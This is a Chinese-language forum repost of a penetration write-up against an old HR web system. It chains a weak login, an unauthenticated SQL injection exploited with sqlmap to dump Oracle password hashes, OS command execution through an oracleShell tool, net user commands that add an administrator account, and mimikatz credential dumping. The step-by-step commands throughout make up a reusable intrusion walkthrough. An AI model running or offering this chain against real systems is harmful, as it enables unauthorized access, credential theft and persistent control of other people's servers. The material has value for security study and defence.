taibeihacker
Moderator
0x01 弱口令
在一次針對某站點信息收集的過程中,通過子域名掃描,掃描到某個老舊系統。
一看這都2014年的老站了,肯定有搞頭!
日常使用burp爆破一波試試,沒爆破出來
但是隨手一試,好傢伙123/123進入系統,屬於是運氣拉滿了
(高強度打碼)

這裡能看到是一個“編輯”人員的權限,並沒有什麼上傳等後台管理的功能,只能耐心過一遍系統的各種功能。
0x02 SQL注入
進入系統翻一翻,沒有什麼敏感信息洩露,但是在一處查詢人員信息的接口發現了SQL注入(xray被動掃描掃出來的)content=123
這時想要手工驗證一下,發現甚至不需要後台cookie就能直接訪問該接口,相當於還存在未授權訪問漏洞。
那這sqlmap一把梭,--cookie參數都不用加了
python sqlmap.py -u 'http://host.com/xxx/control/SearchMenHunInfo?content=123' --current-db

這裡跑出了庫名,還能看到這是一個Oracle數據庫。打算繼續拿shell試試。
但是在我日常滲透過程中,Oracle數據庫並不常見,sqlmap中--os-shell參數還是不支持Oracle數據庫的,只能現學現賣一波。
0x03 getshell
首先參考了這篇文章Oracle注入- 命令執行Shell反彈
文章中介紹到以下版本的Oracle在發現注入後可以命令執行
那麼再用sqlmap查看一下Oracle版本
python sqlmap.py -u 'http://host.com/xxx/control/SearchMenHunInfo?content=123' -b

看來是符合可以命令執行的版本的!
又經歷了一波漫長的學習,發現了github一個大佬已經集成好的工具oracleShell oracle 數據庫命令執行
工具截圖如下

可以看出,我們還需要知道數據庫的SID,用戶名,密碼,就可以嘗試執行命令。
那麼就繼續利用sqlmap來擴大我們已知信息。
查看數據庫權限--is-dba

查看數據庫IP,SID
這裡進入sqlmap的--sql-shell模式,用sql語句來查詢
查詢SID:select instance_name from v$instance
查詢當前IP:select sys_context('userenv','ip_address') from dual

爆破所有數據庫賬號、密碼
使用sqlmap的--passwords參數,跑出數據庫的所用用戶名和對應的密碼
經過漫長的等待,終於有了結果(這裡給出的是虛構的數據)
database management system users password hashes:
[*] ANONYMOUS [1]:
password hash: anonymous
[*] HR [1]:
password hash: 6399F3B38EDF3288
[*] SYS [1]:
password hash: 4DE42795E66117AE
[*] SYSMAN [1]:
password hash: B607EEBB3A2D36D0
[*] SYSTEM[1]:
password hash: 8877FF8306EF558B
clear-text password: SYS
可以看到有些用戶名只得到了對應的哈希,但是其中一個用戶名system成功跑出了明文密碼!
查詢Oracle常用端口
Oracle確實不熟悉,百度查一波端口:
查詢發現,服務端默認的端口號一般是389,客戶端默認的端口號一般都是1521
OK!現在已經擁有了IP,PORT,SID,用戶名(SYSTEM),密碼(SYS),可以直接使用工具連接了。

一切順利!取得了system權限!
0x04 进一步证明危害
創建個用戶試試net user name pwd /add
net localgroup Administrators name /add
遠程桌面RDP連接name/pwd

連接成功!
上傳一個mimikatz,抓取管理員明文密碼
privilege:debug
sekurlsa:logonPasswords

最終成功登錄Administrator賬號RDP

至此,滲透結束。
0x05 总结
弱口令-sql注入-getshell-拿下管理員權限1.通過子域名掃描工具對目標域名進行掃描,發現存在一個人力資源管理系統
2.通過手動測試123/123弱口令進入系統
3.在後台的查詢人員處存在SQL注入漏洞(xray被動掃描掃出來的)
4.通過sqlmap跑出當前數據庫為oracle
python sqlmap.py -u 'http://host.com/xxx/control/SearchMenHunInfo?content=123' --current-db
5.sqlmap中--os-shell參數是不支持Oracle數據庫的,因此這裡只能通過--os-sql來查找敏感信息
6.查詢oracle版本,發現版本為10.2.1.0(oracle能執行命令的版本為8.1.7.4,9.2.01-9.2.0.7,10.1.0.2-10.1.0.4,10.2.0.1-10.2.0.2)
python sqlmap.py -u 'http://host.com/xxx/control/SearchMenHunInfo?content=123' -b
7.查詢數據庫權限,是DBA權限
python sqlmap.py -u 'http://host.com/xxx/control/SearchMenHunInfo?content=123' --is-dba
8.通過--os-sql來查找查看數據庫IP,SID
select instance_name from v$instance //查詢SID
select sys_context('userenv','ip_address') from dual //查詢當前IP
9.通過sqlmap進行password dump出,用戶名system成功跑出了明文密碼
python sqlmap.py -u 'http://host.com/xxx/control/SearchMenHunInfo?content=123' --passwords
10.同時通過nmap掃描出數據庫服務器IP開放了1521端口。
11.通過oracleshell工具遠程連接數據庫,並執行系統命令
12.在命令中添加用戶名和密碼並添加到管理員組,通過註冊表開啟遠程桌面。
net user name pwd /add
net localgroup Administrators name /add
13.通過mimikatz讀取到系統的密碼
privilege:debug
sekurlsa:logonPasswords
原文鏈接:https://www.freebuf.com/articles/web/284911.html